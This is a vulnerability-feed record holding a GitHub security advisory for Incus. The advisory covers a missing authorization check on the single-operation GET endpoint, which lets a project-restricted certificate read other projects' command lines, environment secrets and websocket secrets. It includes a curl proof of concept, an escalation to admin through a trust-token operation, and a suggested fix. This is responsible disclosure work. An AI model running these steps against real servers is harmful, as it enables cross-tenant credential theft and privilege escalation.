{"schema":"threatline.record/2","record":{"id":"GHSA-mfwv-x733-9446","aliases":["GHSA-mfwv-x733-9446"],"summary":"Authorization bypass lets a restricted client read any operation in another project","details":"### Summary\r\n\r\n**Broken Authorization (CWE-862, Missing Authorization) on `GET /1.0/operations/{uuid}`.** The handler performs no authorization of any kind. Any authenticated client — including a TLS client certificate restricted to a single project — can read the full contents of any in-flight operation in any other project, including the command line, the environment variables and the websocket secrets the operation carries.\r\n\r\n`operationGet` is registered under `allowAuthenticated`, which your own code documents as deferring the real decision to the handler. The handler never makes one.\r\n\r\n### Affected\r\n\r\n| Line | Range | Verified |\r\n|---|---|---|\r\n| Feature | `>= v0.2.0`, through `v7.4.0` | runtime, 7.4.0 from your apt repository |\r\n| LTS 6.0 | `v6.0.0` – `v6.0.6`, `stable-6.0` HEAD | runtime, 6.0.6 from your apt repository |\r\n| 7.0 | `v7.0.0`, `v7.0.1`, `stable-7.0` HEAD | source |\r\n| main | `dd19d9938` | source |\r\n\r\nThe check has never existed. `operationGet` is 53 lines with zero authorizer calls at every tag from `v6.0.0` to `v7.4.0` and on all three branch heads. `v0.2.0` is the first release containing `613f937dc`, which is where operations authorization was introduced — so it is the first release in which Incus claims to authorize operations and does not authorize this one.\r\n\r\nOne question on the range rather than an assertion: `doc/support.md` still describes 6.x as the feature line and refers to a future 7.0 LTS, while `stable-7.0` already carries point releases. Please confirm whether 7.0 is a supported line before the advisory range is published.\r\n\r\n### Contrast, on one URL, one certificate, one instant\r\n\r\nA client certificate restricted to project `attacker`. A container `victim-box` in project `victim`. An admin starts an `exec` in `victim` carrying a marker in its environment. Then, as the restricted certificate:\r\n\r\n```\r\n--- attacker GET    /1.0/operations/7a8fca8a-ff78-49a1-af51-fd73cf56aee1   -> 200\r\n--- attacker GET    .../wait?timeout=1                                     -> 200\r\n--- attacker DELETE /1.0/operations/7a8fca8a-ff78-49a1-af51-fd73cf56aee1   -> 403\r\n\r\n--- DELETE error body:\r\n{\"error_code\":403,\"error\":\"User does not have permission for project \\\"victim\\\"\"}\r\n\r\n--- contents returned by the GET that was allowed, after the DELETE was denied:\r\n{\"instances\":[\"/1.0/instances/victim-box?project=victim\"]}\r\n{\"DB_PASSWORD\":\"s3cr3t-victim-value\",\"HOME\":\"/root\",\"LANG\":\"C.UTF-8\",\"USER\":\"root\",\"PATH\":\"...\"}\r\n{\"0\":\"c5c793028efb9e0691423dfcd2a36e6dc18031b1408211ed8aa80308a7aef2a1\",\r\n \"1\":\"e557d78cd9a22790759e6997f1fdcdb9a5f22c41d811e588a3d96ea9021fffd7\",\r\n \"2\":\"edf04a0ae7d90ed45e31b322d9be311dfaef2683e5be6676bc07bab34c0caf34\",\r\n \"control\":\"afa5bb2ed82f416c563d6f8881a4f5a01c3d66ad14ca3b5ce3f7c90e50c4d85b\"}\r\n```\r\n\r\n`DELETE` refuses by project. `GET` on the same URL, from the same certificate, in the same second, hands over the victim's command line, environment and websocket secrets.\r\n\r\n### Root cause\r\n\r\n`cmd/incusd/operations.go` registers three actions under `allowAuthenticated`:\r\n\r\n```go\r\n33:\tDelete: APIEndpointAction{Handler: operationDelete, AccessHandler: allowAuthenticated},\r\n34:\tGet:    APIEndpointAction{Handler: operationGet,    AccessHandler: allowAuthenticated},\r\n40:\tGet:    APIEndpointAction{Handler: operationsGet,   AccessHandler: allowAuthenticated},\r\n```\r\n\r\n`cmd/incusd/daemon.go:275` states the contract:\r\n\r\n> `allowAuthenticated` is an AccessHandler which allows only authenticated requests. This should be used in conjunction with **further access control within the handler** (e.g. to filter resources the user is able to view/edit).\r\n\r\nTwo of the three do that. `operationDelete` resolves the project from `op.Project()`, reads `op.Permission()`, builds an `auth.NewObject` per resource and calls `s.Authorizer.CheckPermission` (`operations.go:280-306`). `operationsGet` takes a `GetPermissionChecker` for `auth.EntitlementCanViewOperations` and filters every local and remote operation through it (`operations.go:538`, `:556`, `:584`).\r\n\r\n`operationGet` (`operations.go:181`) resolves the operation out of the global UUID-keyed map and renders it:\r\n\r\n```go\r\n\top, err := operations.OperationGetInternal(id)\r\n\tif err == nil {\r\n\t\t_, body, err = op.Render()\r\n\t\tif err != nil {\r\n\t\t\treturn response.SmartError(err)\r\n\t\t}\r\n\r\n\t\treturn response.SyncResponse(true, body)\r\n\t}\r\n```\r\n\r\nNo `op.Project()`, no `op.Permission()`, no authorizer call, no read of `?project=`. The map is global, so the UUID alone selects the object.\r\n\r\nThis is not a regression. `git log -S` puts it at the commit that introduced operations authorization: `613f937dc`, 2023-10-25, *\"lxd: Update authorization for operations\"* — a single-file, 34-line diff with four hunks. One hunk adds the check to `operationDelete`; three add the checker and its two filter sites to `operationsGet`. `operationGet` sits 77 lines above the `operationDelete` hunk **in that same diff** and is not touched. The list and the destructive verb were authorized; the read was walked past.\r\n\r\n### Impact\r\n\r\nA tenant holding a restricted certificate — the mechanism Incus ships specifically to confine a client to its own projects — reads, from any other project on the server:\r\n\r\n- the full command line of any running `exec`, including anything passed as an argument;\r\n- the complete environment of that command, which is where deployment tooling puts database passwords, API tokens and cloud credentials;\r\n- the `fds` secrets for the operation's websockets, and the operation's resource URLs, which name instances and volumes in the other project.\r\n\r\n**Escalation to full server admin, demonstrated.** `incus config trust add` creates a `Running` operation whose metadata *is* the enrolment token. Reading that operation yields the token; the token enrols a fresh, unrestricted client certificate. From the restricted certificate we read such an operation, reassembled the token, enrolled a new certificate, and then read the victim's instance (HTTP 200) and listed every project on the server.\r\n\r\nWe are **not** pricing that chain into the score below, because it needs a trust-token operation to be pending at the moment of the read, and that is operator timing rather than code. It is reported because it bounds what the primitive is worth, not because we are claiming it.\r\n\r\n**Limitation, stated plainly.** The attacker must know the operation's UUID and cannot get it from Incus. `uuid.New()` (`internal/server/operations/operations.go:138`) is `crypto/rand`-backed UUIDv4, 122 bits. We verified that a restricted certificate sees nothing through any enumeration path: `/1.0/operations?project=attacker`, `?all-projects=true` and `?project=victim` all return empty, and the victim's instance is correctly refused with 403. The UUID must come from outside — an operator's shell history or CI log, the `Location` header of an async response passing through a proxy or APM trace, `incus monitor` output pasted into a ticket, a former project membership, or a co-tenant on a shared automation account. No victim interaction is required after that.\r\n\r\nThis is the same gating you accepted in CVE-2026-81501, whose text reads: *\"the 64-hex fingerprint is not returned by GET / list to a caller without CanView. The attacker must obtain it out of band (logs, backups, a former project membership, a predictable custom image, etc.). No victim interaction is required after that.\"*\r\n\r\n### Suggested fix\r\n\r\nGive `operationGet` the check `operationDelete` already performs. The finished handler, with the existing body unchanged below it:\r\n\r\n```go\r\nfunc operationGet(d *Daemon, r *http.Request) response.Response {\r\n\ts := d.State()\r\n\r\n\tid, err := pathVar(r, \"id\")\r\n\tif err != nil {\r\n\t\treturn response.SmartError(err)\r\n\t}\r\n\r\n\tvar body *api.Operation\r\n\r\n\t// First check if the query is for a local operation from this node\r\n\top, err := operations.OperationGetInternal(id)\r\n\tif err == nil {\r\n\t\tprojectName := op.Project()\r\n\t\tif projectName == \"\" {\r\n\t\t\tprojectName = api.ProjectDefaultName\r\n\t\t}\r\n\r\n\t\terr = s.Authorizer.CheckPermission(r.Context(), r, auth.ObjectProject(projectName), auth.EntitlementCanViewOperations)\r\n\t\tif err != nil {\r\n\t\t\treturn response.SmartError(err)\r\n\t\t}\r\n\r\n\t\t_, body, err = op.Render()\r\n\t\tif err != nil {\r\n\t\t\treturn response.SmartError(err)\r\n\t\t}\r\n\r\n\t\treturn response.SyncResponse(true, body)\r\n\t}\r\n```\r\n\r\n`CanViewOperations` is the entitlement `operationsGet` already uses for exactly this question, so the read path and the list path end up answering it the same way. Using `op.Permission()` as `operationDelete` does would also work and would be stricter; `CanViewOperations` is suggested because it matches the verb.\r\n\r\nThe cluster-forwarding branch below it inherits the fix for free: the remote member runs `operationGet` too and will apply the same check to the forwarded identity.\r\n\r\n`operationWaitGet` (`operations.go:46`) is registered `AllowUntrusted: true` and returns the same rendered object on completion. It needs the same treatment or the fix is bypassable by waiting instead of getting. We have not tested that path against a fix and are flagging it rather than asserting it.\r\n\r\n### Dedup\r\n\r\nWe could find no published advisory of yours covering operations. The fourteen published between 2026-07-30 and 2026-08-27 are image import, backup import, volume import, cross-project instance copy, migration config override, network address sets, idmap isolation, nvidia capabilities, VM template paths, image symlinks and fingerprints, and a CLI traversal. If this duplicates something already in your queue, please say so and close it — we would rather know than have you carry two.\r\n\r\n### PoC\r\n\r\nFull sequence, reproducible on a clean install. Run as the server admin except where marked.\r\n\r\n```sh\r\n# --- setup, as admin -------------------------------------------------------\r\nincus project create victim\r\nincus project create attacker\r\nincus launch images:debian/12 victim-box --project victim\r\n\r\n# a client certificate restricted to project \"attacker\"\r\nincus config trust add --name attacker --restricted --projects attacker\r\n# enrol that token from the client, then confirm the restriction:\r\nincus query /1.0/certificates/<fingerprint>\r\n#   { \"name\": \"attacker\", \"restricted\": true, \"projects\": [ \"attacker\" ] }\r\n\r\n# --- controls: the restriction works ---------------------------------------\r\n# as the attacker certificate\r\ncurl --cert attacker.crt --key attacker.key -k \\\r\n  \"https://SERVER:8443/1.0/instances/victim-box?project=victim\"\r\n#   403 User does not have permission for project \"victim\"\r\n\r\nfor q in \"project=attacker\" \"all-projects=true\" \"project=victim\"; do\r\n  curl --cert attacker.crt --key attacker.key -k \\\r\n    \"https://SERVER:8443/1.0/operations?$q\"\r\ndone\r\n#   {} {} {}          the operation is invisible through every listing\r\n\r\ncurl -k \"https://SERVER:8443/1.0/operations/$OPID\"      # no client cert\r\n#   403\r\n\r\n# --- the finding -----------------------------------------------------------\r\n# as admin, start a command in the victim project carrying a marker\r\nincus exec victim-box --project victim --env DB_PASSWORD=s3cr3t-victim-value -- sleep 600 &\r\nOPID=$(incus operation list --project victim --format csv | head -1 | cut -d, -f1)\r\n\r\n# as the attacker certificate, same URL, two verbs\r\ncurl --cert attacker.crt --key attacker.key -k \\\r\n  -X DELETE \"https://SERVER:8443/1.0/operations/$OPID\"\r\n#   403 User does not have permission for project \"victim\"\r\n\r\ncurl --cert attacker.crt --key attacker.key -k \\\r\n  \"https://SERVER:8443/1.0/operations/$OPID\"\r\n#   200, and the body contains:\r\n#     resources.instances -> /1.0/instances/victim-box?project=victim\r\n#     metadata.environment.DB_PASSWORD -> s3cr3t-victim-value\r\n#     metadata.fds -> 0, 1, 2, control\r\n```\r\n\r\nVerified identically on `7.4.0` and on `6.0.6`, both installed from your apt repository. Both lab containers were destroyed after the run.\r\n\r\n### Severity\r\n\r\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N` — **6.3 Medium**.\r\n\r\nThis is set to **parity with your own scoring of CVE-2026-81501**, which carries the identical vector, rather than argued upward. Metric by metric:\r\n\r\n- **AV:N** — the HTTPS API, reachable from wherever the client is.\r\n- **AC:H** — the 122-bit UUID must be obtained out of band. This is the metric doing the work, and it is the same one you applied to the out-of-band fingerprint in CVE-2026-81501.\r\n- **PR:L** — a valid, enrolled client certificate. Not unauthenticated: `allowAuthenticated` refuses an untrusted client on this URL, and we checked.\r\n- **UI:N** — no victim interaction once the UUID is held.\r\n- **S:C** — the vulnerable component is the API's authorization layer; the impacted component is another project, which is the isolation boundary Incus sells.\r\n- **C:H / I:N / A:N** — the endpoint is read-only. Secrets of arbitrary value are returned.\r\n\r\nIf you prefer to price the demonstrated trust-token chain, the vector becomes `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H` = **8.5 High**. We are not proposing it, for the reason given under Impact, but it is the honest ceiling and the decision is yours.\r\n","categories":["Unclassified"],"product":"github.com/lxc/incus/v7/cmd/incusd","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/lxc/incus/security/advisories/GHSA-mfwv-x733-9446","source_modified_at":"2026-09-25T00:53:57Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"ecosystem":"go","name":"github.com/lxc/incus/v7/cmd/incusd"},"range":"< v7.5.0"}],"fixed_versions":[],"cvss":6.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-25T00:53:57Z","modified_at":"2026-09-25T00:53:57Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/lxc/incus/security/advisories/GHSA-mfwv-x733-9446","fetched_at":"2026-10-23T18:52:38.922436Z","source_modified_at":"2026-09-25T00:53:57Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-25T00:53:57Z","content_hash":"f888056a74638a3797dc5274cdf35408388e9840aa6f7ab96e812b4af1a1fbbc"}}
